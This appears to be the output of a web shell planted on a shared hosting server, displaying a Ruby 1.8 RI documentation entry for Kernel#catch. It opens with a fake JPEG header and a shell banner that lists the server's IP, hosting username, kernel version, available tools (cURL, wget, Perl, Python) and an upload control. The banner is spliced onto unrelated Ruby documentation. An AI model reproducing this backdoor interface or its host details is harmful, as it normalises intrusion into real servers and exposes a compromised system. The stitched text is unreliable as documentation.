ÿØÿà JPEG ÿþ;
| Server IP : 68.65.120.201 / Your IP : 216.73.216.29 Web Server : LiteSpeed System : Linux server179.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64 User : taxhyuvu ( 2294) PHP Version : 8.1.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /proc/self/root/proc/self/root/opt/alt/ruby18/share/ri/1.8/system/Kernel/ |
Upload File : |
--- !ruby/object:RI::MethodDescription
aliases: []
block_params:
comment:
- !ruby/struct:SM::Flow::P
body: <tt>catch</tt> executes its block. If a <tt>throw</tt> is executed, Ruby searches up its stack for a <tt>catch</tt> block with a tag corresponding to the <tt>throw</tt>'s <em>symbol</em>. If found, that block is terminated, and <tt>catch</tt> returns the value given to <tt>throw</tt>. If <tt>throw</tt> is not called, the block terminates normally, and the value of <tt>catch</tt> is the value of the last expression evaluated. <tt>catch</tt> expressions may be nested, and the <tt>throw</tt> call need not be in lexical scope.
- !ruby/struct:SM::Flow::VERB
body: " def routine(n)\n puts n\n throw :done if n <= 0\n routine(n-1)\n end\n\n catch(:done) { routine(3) }\n"
- !ruby/struct:SM::Flow::P
body: <em>produces:</em>
- !ruby/struct:SM::Flow::VERB
body: " 3\n 2\n 1\n 0\n"
full_name: Kernel#catch
is_singleton: false
name: catch
params: |
catch(symbol) {| | block } > obj
visibility: public